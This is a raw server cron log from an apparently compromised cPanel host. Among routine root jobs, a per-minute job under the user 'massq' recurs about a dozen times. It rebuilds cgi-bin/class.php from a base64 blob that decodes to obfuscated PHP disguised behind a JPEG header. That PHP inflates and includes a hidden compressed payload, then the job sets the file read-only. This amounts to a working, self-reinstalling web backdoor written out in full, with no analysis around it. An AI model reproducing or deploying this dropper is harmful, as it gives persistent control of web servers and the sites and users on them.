Sep  6 23:23:01 server CROND[24276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:23:01 server CROND[24275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:23:01 server CROND[24277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:24:01 server CROND[24650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:24:01 server CROND[24651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:24:01 server CROND[24652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:25:01 server CROND[25037]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:25:01 server CROND[25039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:25:01 server CROND[25043]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:25:01 server CROND[25044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:25:01 server CROND[25040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:25:01 server CROND[25042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:25:01 server CROND[25041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:26:01 server CROND[25860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:26:01 server CROND[25861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:26:01 server CROND[25862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:27:01 server CROND[26228]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 23:27:01 server CROND[26229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:27:01 server CROND[26230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:27:01 server CROND[26231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:28:01 server CROND[26689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:28:01 server CROND[26688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:28:01 server CROND[26690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:29:01 server CROND[27055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:29:01 server CROND[27057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:29:01 server CROND[27056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:30:01 server CROND[27446]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:30:01 server CROND[27448]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:30:01 server CROND[27450]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:30:01 server CROND[27454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:30:01 server CROND[27457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:30:01 server CROND[27453]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:30:01 server CROND[27455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:30:01 server CROND[27456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:31:01 server CROND[28298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:31:01 server CROND[28299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:31:01 server CROND[28302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:32:01 server CROND[28677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:32:01 server CROND[28678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:32:01 server CROND[28679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:33:01 server CROND[29049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:33:01 server CROND[29050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:33:01 server CROND[29051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:34:01 server CROND[29510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:34:01 server CROND[29512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:34:01 server CROND[29511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:35:01 server CROND[29887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:35:01 server CROND[29889]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:35:01 server CROND[29890]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 23:35:01 server CROND[29894]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
